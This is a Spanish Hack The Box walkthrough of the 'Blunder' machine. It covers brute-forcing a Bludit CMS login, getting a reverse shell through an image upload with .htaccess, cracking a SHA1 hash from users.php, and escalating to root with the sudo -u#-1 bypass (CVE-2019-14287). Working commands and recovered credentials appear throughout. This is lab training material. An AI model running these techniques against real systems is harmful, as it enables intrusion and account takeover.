
HackTheBox
Blunder
Índice▾
Técnicas vistas
- Bludit CMS Exploitation
- Bypassing IP Blocking (X-Forwarded-For Header)
- Directory Traversal Image File Upload (Playing with .htaccess)
- Abusing sudo privilege (CVE-2019-14287)
Preparación
Reconocimiento
Nmap
Apache (80)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: BlunderFuzzing

Haciendo un poco de fuzzing encontramos varias rutas interesantes, como todo.txt:

Y la ruta /admin:

Si intentamos hacer brute force, veremos el siguiente mensaje:

Explotación
Buscando exploits para este caso encontramos uno:

Lo descargamos y cambiamos el target y el wordlist, y probamos a hacer un ataque, pero con rockyou.txt, pero no encontramos nada. Probamos a hacer un diccionario propio con cewl basándonos en la propia web:
cewl -m 4 http://10.10.10.191 | sort -u > wordlistFinalmente encontramos la contraseña para el usuario fergus:
SUCCESS: Password found!
Use fergus:RolandDeschain to login.Searchsploit
Sabiendo esto podemos buscar algun exploit en searchsploit:
❯ searchsploit bludit
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass | php/webapps/48746.rb
Bludit - Directory Traversal Image File Upload (Metasploit) | php/remote/47699.rb
Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) | php/webapps/51160.txt
Bludit 3.13.1 - 'username' Cross Site Scripting (XSS) | php/webapps/50529.txt
Bludit 3.9.12 - Directory Traversal | php/webapps/48568.py
Bludit 3.9.2 - Auth Bruteforce Bypass | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit) | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal | multiple/webapps/48701.txt
Bludit 4.0.0-rc-2 - Account takeover | php/webapps/51360.txt
Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated) | php/webapps/51541.py
Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated) | php/webapps/51476.txt
bludit Pages Editor 3.0.0 - Arbitrary File Upload | php/webapps/46060.txt
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ searchsploit -m multiple/webapps/48701.txt
Exploit: Bludit 3.9.2 - Directory Traversal
URL: https://www.exploit-db.com/exploits/48701
Path: /usr/share/exploitdb/exploits/multiple/webapps/48701.txt
Codes: CVE-2019-16113
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/zelpro/HTB/Blunder/exploits/48701.txtEste exploit tiene instrucciones de uso:
#### USAGE ####
# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP
# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir
# 3. Run the exploit
# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc
# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.pngShell www-data
Y ya tendremos una reverse shell con el usario www-data:
❯ nc -lvnp 53
listening on [any] 53 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.191] 36532
whoami
www-dataBuscando información sobre el usuario hugo de la máquina víctima, en la ruta /var/www/bludit-3.10.0a, podemos encontrar el users.php:
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}Podemos ver que la contraseña es un hash de tipo SHA1, lo descifraremos con la web: https://md5decrypt.net/en/Sha1/:
faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120Y ya tendriamos la user flag:
hugo@blunder:~$ cat user.txt
fd6b01457fe62583...Escalada de privilegios
Con el comando sudo -l podremos ver los comandos que puede ejecutar el usuario actual con permisos de superusuario:
hugo@blunder:~$ sudo -l
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bashEsto significa que el usuario hugo puede ejecutar /bin/bash como otros usuarios excepto como root. Vamos a buscar exploits relacionados:

Abusing sudo privilege (CVE-2019-14287)
Este tiene una situación igual a la que tenemos, es para la versión 1.8.27, vamos a comprobar cuál tenemos:
hugo@blunder:~$ sudo -V
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1Tenemos una versión compatible con el exploit, en la información nos dice que con este comando sudo -u#-1 /bin/bash obtendremos root:
hugo@blunder:~$ sudo -u#-1 /bin/bash
Password:
root@blunder:/home/hugo# id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/home/hugo# whoami
root
root@blunder:/home/hugo# cd /root/
root@blunder:/root# ls
log reset.sh root.txt snap
root@blunder:/root# cat root.txt
0b5c1bbffde405138...Máquina comprometidaPwned! · ver logro en Hack The Box
Relacionados